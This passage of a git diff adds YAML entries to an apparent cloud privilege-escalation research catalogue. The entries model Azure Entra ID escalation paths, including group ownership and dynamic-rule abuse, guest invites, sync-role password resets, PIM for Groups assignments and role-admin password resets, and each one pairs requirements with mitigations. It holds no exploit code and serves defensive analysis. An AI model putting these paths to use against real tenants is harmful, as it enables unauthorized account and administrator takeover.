of non-role-assignable groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsownersupdate + source_revision: 171e422 + summary: A principal allowed to update group owners can obtain the privileges of any assigned, non-role-assignable group in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.security/owners/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups.unified/owners/update + scope: "{target.scope}" + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_type_covered_by_permission: true + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned, non-role-assignable groups in {scope}" + conditions: + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Restrict groups/owners/update and review owner additions on groups that hold access. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-owners?view=graph-rest-1.0 + notes: Reaches the same target set as azure-entraid-group-members-update because group owners can manage assigned membership. + +- id: azure-entraid-group-owner-membership + provider: azure + service: entraid + title: Group owner adds itself to the owned group (incl. role-assignable groups) + source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#add-user-to-group + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: An owner of an assigned-membership group can obtain the privileges of that group, including directory roles assigned to a role-assignable group. + requires: + all_of: + - entra_owner_of: "{target.id}" + object_type: group + target: + kind: entra_group + selector: + entra_source_is_owner_of_group: true + entra_group_membership_type: assigned + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups owned by {source}" + conditions: + - id: owner_is_service_principal + description: A service principal owner also needs a usable token with group write ability (e.g. app permission) to exercise ownership via Graph. + - id: on_prem_synced_group + description: Membership of groups synchronised from on-premises AD cannot be changed in Entra. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Keep owners of role-assignable and privileged groups to Tier-0 administrators only; use PIM for Groups with approval for ownership. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: Microsoft documents that management of role-assignable groups can be delegated by adding group owners, so owners reach the group's directory roles; evaluator should raise severity to critical when the group holds a privileged role. Owners are blocked for groups in restricted management AUs. + +- id: azure-entraid-group-dynamic-rule-update + provider: azure + service: entraid + title: Rewrite a dynamic group's membership rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsdynamicmembershipruleupdate + source_revision: 171e422 + summary: A principal allowed to update dynamic membership rules can obtain the privileges of any dynamic group in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/groups/dynamicMembershipRule/update + scope: "{target.scope}" + - - entra_permission: microsoft.directory/groups/allProperties/update + scope: "{target.scope}" + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_membership_type: dynamic + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Dynamic groups in {scope}" + conditions: + - id: dynamic_processing_delay + description: Membership is applied asynchronously by the dynamic membership processor; processing may be paused. + - id: license + description: Dynamic user membership requires Entra ID P1 licensing. + blockers: + - restricted_management_au + confidence: derived + severity: high + mitigation: Restrict dynamicMembershipRule update and avoid granting Azure RBAC or sensitive app roles to dynamic groups. + references: + - https://learn.microsoft.com/en-us/graph/api/group-update?view=graph-rest-1.0 + notes: Role-assignable groups cannot be dynamic, so directory roles are never reached directly; the gain is the group's Azure RBAC / app access. Group.ReadWrite.All / Directory.ReadWrite.All application permissions can update membershipRule (Update group API) outside restricted management AUs; built-in holders of dynamicMembershipRule/update are Groups Administrator, User Administrator and Directory Writers. + +- id: azure-entraid-dynamic-group-attribute-control + provider: azure + service: entraid + title: Change user attributes referenced by a dynamic membership rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + source_revision: a66f094ede + summary: A principal able to write user attributes referenced by a dynamic membership rule, on a user it controls, can obtain the privileges of that dynamic group. + requires: + any_of: + - - entra_permission: microsoft.directory/users/basic/update + scope: "{source.controlled_user}" + - - entra_permission: microsoft.directory/users/manager/update + scope: "{source.controlled_user}" + - - graph_app_permission: User.ReadWrite.All + - - graph_app_permission: User-Mail.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_membership_type: dynamic + entra_dynamic_rule_attributes_writable_by_source: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Dynamic groups whose rule uses attributes {source} can write" + conditions: + - id: controlled_user_required + description: The source must control a user object to modify, and the permission scope is that user ({source.controlled_user}). For a user source this is the source itself. For any other source the controlled user is not identified and the edge is conditional (controlled_user_not_identified). The controlled user then becomes the group member. + - id: sensitive_attribute + description: Sensitive attributes (otherMails, mobilePhone, businessPhones, accountEnabled, userPrincipalName) require roles per Microsoft's "who can perform sensitive actions" table, and app-only writes need a supporting directory role. + - id: synced_attribute + description: Attributes sourced from on-premises AD are overwritten by sync and must be changed at the source directory. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Base dynamic rules on attributes only administrators (or HR-sourced sync) can write, never on self-service or guest-controlled values, and avoid granting privileged access to dynamic groups. + references: + - https://learn.microsoft.com/en-us/entra/identity/users/groups-dynamic-membership + - https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/ + notes: The evaluator must parse membershipRule and intersect referenced attributes with what the source can write (users/basic/update covers non-sensitive basic properties such as department/jobTitle; manager/update covers user.manager rules). Device rules (device.*) are not modelled here. + +- id: azure-entraid-dynamic-group-guest-invite + provider: azure + service: entraid + title: Invite a guest that satisfies a dynamic membership rule + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + source_revision: 171e422 + summary: A principal allowed to invite guests can obtain the privileges of dynamic groups whose rule a newly invited guest satisfies. + requires: + any_of: + - - entra_permission: microsoft.directory/users/inviteGuest + - - entra_tenant_setting: guest_invites_allowed_for_source + target: + kind: entra_group + selector: + entra_group_membership_type: dynamic + entra_dynamic_rule_satisfiable_by_invited_guest: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Dynamic groups whose rule a newly invited guest can satisfy" + conditions: + - id: external_collaboration_settings + description: The tenant's allowInvitesFrom setting (default "everyone", including guests) and cross-tenant access / domain allow-deny lists decide whether the source can invite. + - id: guest_cannot_edit_sensitive_props + description: An ordinary guest cannot later edit sensitive properties such as otherMails; only values set at invitation/redemption are controllable. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict guest invitations to specific admin roles and never use guest-controllable attributes (mail, otherMails, displayName) in dynamic rules that grant access. + references: + - https://learn.microsoft.com/en-us/entra/external-id/external-collaboration-settings-configure + - https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions + notes: Severity is medium by default; the evaluator should raise it based on the group's access. The source becomes able to act as a new guest principal it creates, not as an existing principal. diff --git a/src/privilege-escalation-paths-research/azure/entraid_hybrid.yaml b/src/privilege-escalation-paths-research/azure/entraid_hybrid.yaml new file mode 100644 index 0000000000..5f16d802da --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_hybrid.yaml @@ -0,0 +1,63 @@ +# Hybrid identity (Entra Connect Sync / Cloud Sync) techniques reachable from cloud-side configuration (declarative only). +# Source: hacktricks-cloud az-lateral-movement-cloud-on-prem/ pages (rev a66f094ede). +# Only edges whose source is a tenant principal holding a collected Entra role are modelled; techniques that start from +# an on-prem server, device or AD object are excluded in the Azure exclusion files. + +- id: azure-entra-hybrid-directory-sync-role-password-reset + provider: azure + service: entraid + title: Directory Synchronization Accounts role holder resets user passwords through the sync API + source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-sync_-deprecated + source_revision: a66f094ede + summary: A principal holding the Directory Synchronization Accounts role (the legacy Sync_* user or the Cloud Sync service account) can set password hashes of synchronised users, and historically of cloud-only users including Global Administrators. + requires: + all_of: + - entra_role: Directory Synchronization Accounts + target: + kind: azure_user + scope: tenant + aggregate_as: "Users whose passwords the synchronisation service can set in {scope}" + outcome: credentials + conditions: + - id: sync_api_behaviour_version_dependent + description: The sync API behaviour is undocumented; resetting cloud-only users was reported historically and may be blocked now, so only password-hash-synchronised users are reliably reachable. + - id: legacy_sync_account_present + description: New Connect Sync installations (from January 2025) use the ConnectSyncProvisioning application instead of a Sync_* user; the edge exists only where a role holder is still present. + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove leftover Sync_* accounts after migrating to the application-based sync identity, never assign the Directory Synchronization Accounts role to other principals, exclude sync accounts from interactive sign-in with Conditional Access, and alert on any role assignment change for it. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#directory-synchronization-accounts + notes: The role is meant for the synchronisation service only. Its source is normally compromise of the sync server, but any principal assigned the role (including misassignment) yields this edge; the evaluator only needs the role assignment. + +- id: azure-entra-hybrid-directory-sync-role-sp-credentials + provider: azure + service: entraid + title: Directory Synchronization Accounts role holder adds credentials or privileges to service principals (historical) + source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#principals-generated + source_revision: a66f094ede + summary: Historically the Directory Synchronization Accounts role carried hidden directory permissions that let its holder add credentials to, or grant privileged permissions to, service principals and then authenticate as them. + requires: + all_of: + - entra_role: Directory Synchronization Accounts + target: + kind: azure_service_principal + scope: tenant + aggregate_as: "Service principals in {scope}" + outcome: credentials + conditions: + - id: hidden_role_permissions_removed + description: Microsoft's current role reference lists only onPremisesSynchronization standard read for this role; the historical service principal paths may no longer work in the tenant. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: + - sp_lock_configuration_credentials + confidence: conditional + severity: critical + mitigation: Do not assign the Directory Synchronization Accounts role to any principal other than the synchronisation service, remove legacy Sync_* accounts, and monitor service principal credential and app role assignment changes made by sync identities. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#directory-synchronization-accounts + notes: Kept as a conditional edge because tenants with legacy sync identities are common and the historical capability is documented by Tenable research cited on the source page. diff --git a/src/privilege-escalation-paths-research/azure/entraid_pim.yaml b/src/privilege-escalation-paths-research/azure/entraid_pim.yaml new file mode 100644 index 0000000000..d4fbe5945f --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_pim.yaml @@ -0,0 +1,117 @@ +# Entra ID PIM for Groups escalation through the Microsoft Graph application plane. +# Source: hacktricks-cloud az-pim-privesc.md, az-entraid-privesc/README.md (rev 171e422). +# +# Target kind entra_group: obtaining membership of the group (its Entra role assignments if +# role-assignable, Azure RBAC assignments, app-role assignments and other access). +# Facts checked against Microsoft docs (2026-10): +# - privilegedAccessGroup assignmentScheduleRequests / eligibilityScheduleRequests: least +# privileged application permissions are PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup +# and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup. The Entra-role restriction for +# role-assignable groups (Privileged Role Administrator) is documented for delegated access only. +# - Any security or Microsoft 365 group can be governed by PIM for Groups except dynamic +# membership groups and groups synchronised from on-premises (concept-pim-for-groups). +# - PIM for Groups policies have no default approvers; approvers cannot approve their own +# activation and service principals cannot approve (pim-approval-workflow). + +- id: azure-entraid-graph-pim-groups-active-assignment + provider: azure + service: entraid + title: Graph PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup grants active group membership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: A service principal holding PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup can create an active PIM for Groups membership assignment and obtain the privileges of assigned groups, including role-assignable groups. + requires: + all_of: + - graph_app_permission: PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: principal_must_be_user_or_group + description: The assignment principal is a user or group, so the source must assign a user (or group) it controls rather than its own service principal. + - id: pim_assignment_policy + description: The group's PIM assignment policy (e.g. maximum active duration, permanent active assignment disallowed) bounds the assignment; it does not require approval for admin-created assignments. + blockers: + - restricted_management_au + - service_principal_conditional_access_block + confidence: derived + severity: critical + mitigation: Treat PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup as Tier 0, remove it from non-governance applications and alert on PIM for Groups assignments created by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-assignmentschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + notes: Unlike Group.ReadWrite.All / GroupMember.ReadWrite.All this path is not limited to non-role-assignable groups, so a role-assignable group holding Global Administrator is reachable. Ownership assignments (accessId owner) reach the same target set. + +- id: azure-entraid-graph-pim-groups-eligibility + provider: azure + service: entraid + title: Graph PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup creates self-activatable group eligibility + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + source_revision: 171e422 + summary: A service principal holding PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup can make a user it controls eligible for membership of any assigned group, which that user can then activate when the group's activation policy does not require approval. + requires: + all_of: + - graph_app_permission: PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup + target: + kind: entra_group + selector: + entra_group_membership_type: assigned + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Assigned groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: source_controls_user + description: The eligible principal is a user or group and activation is performed by a user, so the source must control a user account. + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification or ticket information. + blockers: + - pim_approval_required_by_other_principal + - restricted_management_au + - service_principal_conditional_access_block + confidence: conditional + severity: high + mitigation: Require approval for membership activation of privileged groups, treat PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup as Tier 0 and review PIM for Groups eligibility with access reviews. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-eligibilityschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/groups-role-settings + notes: Severity should be raised to critical by the evaluator when the group is role-assignable and holds a privileged directory role. Holders of RoleManagementPolicy.ReadWrite.AzureADGroup can remove the approval requirement (enabler, not a separate edge). + +- id: azure-entraid-pim-group-eligible-activation + provider: azure + service: entraid + title: Activate an eligible PIM for Groups membership or ownership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: A user eligible for membership or ownership of a PIM-governed group can activate it and inherit every role and access the group holds. + requires: + all_of: [] + source_kind: azure_user + target: + kind: entra_group + selector: + entra_pim_group_eligible_for_source: true + scope: tenant + aggregate_as: "PIM for Groups eligibilities of the source" + conditions: + - id: pim_activation_required + description: The eligibility must be activated (MFA, justification or ticket as the group's PIM policy requires) before the grants apply. + - id: owner_eligibility_adds_members + description: An owner eligibility gives group ownership, which lets the source add members (itself included) after activation. + blockers: + - pim_approval_required_by_other_principal + confidence: conditional + severity: critical + mitigation: Require approval for activation of privileged PIM-governed groups, keep eligibilities minimal, and review eligibilities on role-assignable groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + notes: Facts needed (not collected yet -> unknown) directory_group_eligibility_schedule {principalId, groupId, accessId, status}. The PIM policy write variant (weakening the activation gate) is a separate heading. diff --git a/src/privilege-escalation-paths-research/azure/entraid_roles.yaml b/src/privilege-escalation-paths-research/azure/entraid_roles.yaml new file mode 100644 index 0000000000..a16719990f --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/entraid_roles.yaml @@ -0,0 +1,463 @@ +# Entra ID (Azure AD) identity-plane privilege escalation: directory-role management, +# PIM activation, user credential takeover (password / authentication methods) and +# domain federation. +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-services/az-azuread.md, +# az-basic-information/README.md, az-persistence/README.md (rev 171e422; all entries re-verified against the page text at that revision). +# Target user sets follow Microsoft's "Who can reset passwords" / "Who can perform +# sensitive actions" tables (privileged-roles-permissions, checked 2026-10). +# +# Requirement keys used here: +# entra_role: (active assignment; the evaluator also +# resolves custom roles via entra_permission) +# entra_permission: microsoft.directory/... + optional scope: "{target.scope}" where +# {target.scope} is the Entra directoryScopeId +# that contains the target ("/", +# "/administrativeUnits/" or "/") +# graph_app_permission: +# entra_pim_eligible_role: "{target.id}" (PIM-eligible, not active, role assignment) + +- id: azure-entraid-graph-rolemanagement-readwrite-directory + provider: azure + service: entraid + title: Graph RoleManagement.ReadWrite.Directory assigns any directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#rolemanagementreadwritedirectory + source_revision: 171e422 + summary: A service principal holding the Graph RoleManagement.ReadWrite.Directory application permission can obtain the privileges of any Entra directory role, including Global Administrator. + requires: + all_of: + - graph_app_permission: RoleManagement.ReadWrite.Directory + target: + kind: entra_role + selector: + entra_role_assignable: any + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + conditions: + - id: pim_policy_on_schedule_requests + description: When role assignments are created through PIM schedule requests, PIM policy (approval, justification, MFA) applies; direct unifiedRoleAssignment creation is not subject to activation approval. + blockers: + - service_principal_conditional_access_block + confidence: derived + severity: critical + mitigation: Remove RoleManagement.ReadWrite.Directory from non-Tier-0 applications, treat holders as Global Administrator equivalents, and alert on role assignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: This permission is also the only Graph permission that can manage membership of role-assignable groups (Group.ReadWrite.All cannot). Role-assignable groups and restricted management AUs do not limit this edge because the source can simply assign itself the role directly, including at restricted-AU scope. Delegated use of the same scope is bounded by the signed-in user's own role and is covered by the role entries. + +- id: azure-entraid-role-assignment-manage + provider: azure + service: entraid + title: Manage directory role assignments (Privileged Role Administrator) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 171e422 + summary: A principal allowed to manage tenant-scoped directory role assignments (e.g. Privileged Role Administrator) can obtain the privileges of any Entra directory role, including Global Administrator. + requires: + any_of: + - - entra_permission: microsoft.directory/roleAssignments/allProperties/allTasks + scope: "/" + - - entra_permission: microsoft.directory/roleAssignments/allProperties/update + scope: "/" + - - entra_role: Privileged Role Administrator + - - entra_role: Global Administrator + target: + kind: entra_role + selector: + entra_role_assignable: any + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + conditions: + - id: pim_eligible_only + description: If the source's role is PIM-eligible only, it must be activated first (approval / MFA / justification policy applies). + blockers: [] + confidence: derived + severity: critical + mitigation: Treat Privileged Role Administrator as Tier 0, keep it PIM-eligible with approval, and alert on role assignments to Global Administrator or other privileged roles. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-role-administrator + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/manage-roles-portal + notes: Privileged Role Administrator can also manage membership of role-assignable groups and assign itself roles scoped to restricted management administrative units, so neither protection limits this edge. roleAssignments permissions are not eligible for custom roles; only built-in roles grant them in practice. + +- id: azure-entraid-custom-role-definition-update + provider: azure + service: entraid + title: Expand a custom directory role the source already holds + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 171e422 + summary: A principal allowed to update directory role definitions can obtain the privileges of any custom-role-eligible permission set through the custom roles already assigned to it. + requires: + any_of: + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/allTasks + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/update + target: + kind: entra_role + selector: + entra_custom_role_assigned_to_source: true + scope: tenant + aggregate_as: "Custom roles assigned to {source} (expandable to any custom-role-eligible permission)" + conditions: + - id: custom_role_permission_eligibility + description: Only permissions eligible for custom roles can be added (e.g. applications/credentials/update, servicePrincipals/credentials/update, groups/members/update); users/password/update and roleAssignments permissions are not available to custom roles. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict roleDefinitions write to Privileged Role Administrator / Global Administrator and review custom role definitions for credential-update permissions. + references: + - https://learn.microsoft.com/en-us/graph/api/unifiedroledefinition-update?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Built-in role definitions are immutable. The gained permissions then feed other entries (e.g. application credential update) so the evaluator should chain this edge. If the source also holds roleAssignments write, azure-entraid-role-assignment-manage already dominates. + +- id: azure-entraid-pim-eligible-role-activation + provider: azure + service: entraid + title: Activate a PIM-eligible directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + source_revision: 171e422 + summary: A principal with an eligible PIM assignment can obtain the privileges of the eligible Entra directory role. + requires: + all_of: + - entra_pim_eligible_role: "{target.id}" + target: + kind: entra_role + selector: + entra_pim_eligible_for_source: true + scope: tenant + aggregate_as: "Entra roles {source} is PIM-eligible for" + conditions: + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification, ticket information, or approval by designated approvers; approval-required roles are not self-activatable. + blockers: + - pim_approval_required_by_other_principal + confidence: conditional + severity: high + mitigation: Require approval and MFA/authentication context for activation of privileged roles and review eligible assignments with access reviews. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-approval-workflow + notes: Eligibility can also come from membership of a role-assignable group that is eligible. Severity should be raised to critical by the evaluator when the eligible role is privileged (e.g. Global Administrator, Privileged Role Administrator). BloodHound AZRoleApprover (approver -> role) does not give the approver the role; approvers cannot approve their own activation and service principals cannot approve, so it only lifts pim_approval_required_by_other_principal when the source also controls a different eligible user. With no approvers selected for a directory role, active Privileged Role Administrators / Global Administrators approve. + +# --------------------------------------------------------------------------- +# User credential takeover. Target sets follow the Microsoft "Who can reset +# passwords" table (tenant-scoped assignments). Common rules for all entries: +# - Users who are members or owners of a role-assignable group, and users holding a +# role scoped to a restricted management AU, are only reachable by Privileged +# Authentication Administrator / Global Administrator. +# - Members of a restricted management AU are only reachable when the source's +# assignment is scoped to that RMAU (even Global Administrator is blocked otherwise). +# - With an AU-scoped assignment the source reaches only AU members, and only those +# without any administrator role (except Privileged Authentication Administrator). +# - "Admin" means an Entra directory role. Users with powerful Azure RBAC roles +# (e.g. subscription Owner) but no directory role are "non-admins" and reachable. +# --------------------------------------------------------------------------- + +- id: azure-entraid-reset-password-password-admin + provider: azure + service: entraid + title: Password Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Password Administrator can obtain the privileges of users with no directory role or only Directory Readers, Guest Inviter or Password Administrator. + requires: + all_of: + - entra_role: Password Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: password_admin + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Non-admin users (and Directory Readers / Guest Inviter / Password Administrator) in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users may be overwritten by on-premises sync unless password writeback is enabled. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: derived + severity: high + mitigation: Scope Password Administrator to administrative units, place sensitive non-admin users (e.g. Azure subscription owners) in restricted management AUs, and enforce phishing-resistant MFA. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles per Microsoft table - none (non-admin), Directory Readers, Guest Inviter, Password Administrator. Reaching a non-admin user that holds Azure RBAC Owner/User Access Administrator is a common real-world path; the evaluator should raise severity in that case. + +- id: azure-entraid-reset-password-helpdesk-admin + provider: azure + service: entraid + title: Helpdesk Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Helpdesk Administrator can obtain the privileges of users with no directory role or only Helpdesk-resettable limited roles. + requires: + all_of: + - entra_role: Helpdesk Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: helpdesk_admin + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Non-admin users and Helpdesk-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: derived + severity: high + mitigation: Scope Helpdesk Administrator to administrative units and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, Usage Summary Reports Reader. + +- id: azure-entraid-reset-credentials-authentication-admin + provider: azure + service: entraid + title: Authentication Administrator resets passwords and authentication methods of non-admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: An Authentication Administrator can obtain the privileges of users with no directory role or only Authentication-Administrator-resettable limited roles, including through authentication-method registration. + requires: + all_of: + - entra_role: Authentication Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: authentication_admin + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Non-admin users and Authentication-Admin-resettable roles in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP authentication method policy to be enabled for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: derived + severity: high + mitigation: Scope Authentication Administrator to administrative units, restrict TAP issuance, and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + notes: Allowed target roles - none, Authentication Administrator, Directory Readers, Guest Inviter, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, Usage Summary Reports Reader. Unlike password-only roles, registering an authentication method (TAP) can also satisfy the target's MFA requirement. + +- id: azure-entraid-reset-password-user-admin + provider: azure + service: entraid + title: User Administrator resets passwords of non-admins and limited admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A User Administrator can obtain the privileges of users with no directory role and of users holding only User-Administrator-resettable roles (incl. Groups, Helpdesk, Password and User Administrators). + requires: + all_of: + - entra_role: User Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: user_admin + entra_role_assignment_scope_covers_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Non-admin users and User-Admin-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: derived + severity: high + mitigation: Scope User Administrator to administrative units and keep it PIM-eligible; protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Groups Administrator, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Administrator, User Experience Success Manager, Usage Summary Reports Reader. App-only resets additionally need User-PasswordProfile.ReadWrite.All (or higher) plus at least User Administrator assigned to the app, so service principals are covered by this role entry. + +- id: azure-entraid-reset-credentials-privileged-auth-admin + provider: azure + service: entraid + title: Privileged Authentication Administrator resets credentials of any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: a66f094ede + summary: A Privileged Authentication Administrator (or Global Administrator) can obtain the privileges of any user in its scope, including Global Administrators. + requires: + any_of: + - - entra_role: Privileged Authentication Administrator + scope: "{target.scope}" + - - entra_role: Global Administrator + - - entra_role: Partner Tier2 